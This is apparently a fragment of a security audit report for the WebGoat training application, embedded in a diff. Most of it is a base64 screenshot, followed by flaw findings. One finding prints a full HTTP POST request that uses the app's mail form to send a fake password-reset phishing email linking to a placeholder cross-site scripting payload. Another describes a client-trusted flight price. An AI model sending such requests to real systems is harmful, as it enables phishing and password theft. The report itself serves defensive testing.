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</data>\n</screenshot>\n<code>The
+        following POST request demonstrates the issue. It send an email message to
+        Phising.Victim@owasp.org. The message body contains a link that when clicked
+        will utilize a cross-site scripting attack to make the phising attack appear
+        more legitimate.\n\nPOST /WebGoat/attack?Screen=1706623184&amp;menu=1700 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        339\n\ngId=GMail+id&amp;gPass=password&amp;subject=Password Reset Necessary!&amp;to=Phising.Victim%40owasp.org&amp;msg=Due
+        to a security flaw in our software all users must immediatly reset their password.
+        Please click the following link to reset your password: http://targethost/WebGoat/somevulnerablepage?xssparam=XssPayLoadThatWillStealPassword&amp;SUBMIT=Send%21</code>\n</appendix>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
+        count=\"1\" issueid=\"273\" module=\"manual_analysis\" type=\"\" description=\"The
+        application trusts values used in business logic that originate from the client.
+        The price of a flight is passed to the client through a JSON request. The
+        price value is subsequently sent back to the application when the client orders
+        a flight. There is no verification that the price value has not be modified.\"
+        note=\"\" cweid=\"472\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\"
